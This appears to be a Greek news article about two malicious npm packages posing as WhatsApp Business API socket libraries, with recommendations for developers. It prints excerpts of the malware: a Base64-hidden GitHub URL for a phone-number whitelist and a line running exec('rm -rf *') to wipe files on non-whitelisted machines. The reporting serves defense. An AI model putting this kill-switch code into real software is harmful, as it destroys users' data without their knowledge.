Επίθεση σε προγραμματιστές του WhatsApp με παγιδευμένα προγράμματα που μπορούν να σβήσουν τα πάντα από μακριά – Τι είναι το «kill switch»

WhatsApp,

Δύο εξαιρετικά επικίνδυνα κακόβουλα πακέτα npm εντοπίστηκαν να στοχοποιούν προγραμματιστές που εργάζονται με τη WhatsApp Business API, ενεργοποιώντας έναν μηχανισμό απομακρυσμένης καταστροφής ικανό να διαγράψει ολόκληρο το σύστημα αρχείων με μία εντολή.

WhatsApp: Τα πακέτα-όπλα με ψευδές προφίλ

Τα πακέτα φέρουν τις ονομασίες naya-flore και nvlore-hsc και παρουσιάζονται ψευδώς ως βιβλιοθήκες socket για WhatsApp. Δημοσιεύθηκαν από τον χρήστη nayflore στο npm, χρησιμοποιώντας το email idzzcch@gmail.com και έχουν ήδη καταγραφεί πάνω από 1.110 λήψεις σε λιγότερο από έναν μήνα.

Οι βιβλιοθήκες αυτές στοχεύουν την ευρύτερη οικολογία ανάπτυξης γύρω από την WhatsApp Business API, η οποία εξυπηρετεί πλέον πάνω από 200 εκατομμύρια επιχειρήσεις παγκοσμίως. Εργαλεία για bots, αυτοματοποίηση πελατειακής υποστήριξης και συστήματα ανταλλαγής μηνυμάτων γίνονται έτσι ελκυστικός στόχος για εισβολείς που εκμεταλλεύονται την εμπιστοσύνη σε βιβλιοθήκες τρίτων.

Το κακόβουλο kill switch στον κώδικα

Η επίθεση εντοπίζεται κυρίως μέσα στη συνάρτηση requestPairingCode, μια νόμιμη λειτουργία που χρησιμοποιείται για την ταυτοποίηση κατά τη ρύθμιση ενός WhatsApp bot.

Η κακόβουλη λειτουργία ξεκινά με λήψη μιας whitelist τηλεφωνικών αριθμών από αποθετήριο GitHub, χρησιμοποιώντας κρυπτογράφηση Base64 για απόκρυψη του URL:

const sesiPath = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25hdmFMaW5oL2RhdGFiYXNlL21haW4vc2Vza2E";
// Μετά την αποκωδικοποίηση:
// https://raw.githubusercontent.com/navaLinh/database/main/seska.json

Αν ο αριθμός του προγραμματιστή υπάρχει στη whitelist (η οποία περιλαμβάνει κινητά τηλέφωνα από την Ινδονησία), τότε η εφαρμογή συνεχίζει κανονικά.

Αν όμως δεν υπάρχει, τότε ενεργοποιείται ο μηχανισμός καταστροφής:

if (getsNumberCode === "0000") {
    exec('rm -rf *')  // Καταστροφή συστήματος
}

Τι σημαίνει αυτό για τους προγραμματιστές

Η επίθεση είναι ιδιαίτερα επικίνδυνη γιατί:

  • Δεν απαιτεί επανέκδοση του κακόβουλου πακέτου – η βάση δεδομένων στο GitHub μπορεί να αλλάζει δυναμικά.
  • Εφαρμόζει επιλεκτική στόχευση, προστατεύοντας συστήματα συγκεκριμένων ατόμων (πιθανότατα των ίδιων των επιτιθέμενων ή συνεργατών).
  • Μπορεί να καταστρέψει ολόκληρους φακέλους εργασίας ή ακόμη και λειτουργικά συστήματα, αν τρέξει σε ευαίσθητο directory.

Προειδοποίηση: Supply Chain Attack νέας γενιάς

Η χρήση ενός εξωτερικού whitelist μηχανισμού και η δυνατότητα απομακρυσμένου ελέγχου χωρίς ανάγκη για αναβάθμιση του πακέτου αποτελεί σοβαρή εξέλιξη στις επιθέσεις στην αλυσίδα εφοδιασμού λογισμικού (supply chain attacks).

Συστάσεις για προγραμματιστές και DevOps ομάδες

  1. Αποφύγετε εντελώς τη χρήση των πακέτων naya-flore και nvlore-hsc.
  2. Αν τα έχετε ήδη εγκαταστήσει, καθαρίστε άμεσα το σύστημά σας, ελέγξτε για ενδεχόμενη διαρροή ή διαγραφή δεδομένων και απομονώστε το μηχάνημα.
  3. Ελέγξτε τα αρχεία package.json, package-lock.json και τα node_modules για ύποπτες εξαρτήσεις.
  4. Χρησιμοποιείτε μόνο πακέτα με επιβεβαιωμένη ταυτότητα δημιουργού, προτιμώντας verified publishers στο npm.
  5. Ενεργοποιήστε μηχανισμούς στατικής ανάλυσης και sandbox περιβάλλοντα κατά την εγκατάσταση βιβλιοθηκών.

Η επίθεση αυτή δείχνει ξεκάθαρα ότι οι επιτιθέμενοι εστιάζουν σε ευάλωτα σημεία της διαδικασίας ανάπτυξης λογισμικού, με στόχο την πλήρη κατάρρευση ή διείσδυση στα συστήματα των προγραμματιστών. Η επαγρύπνηση και η καλή πρακτική ασφάλειας είναι απολύτως κρίσιμες.

Scroll to Top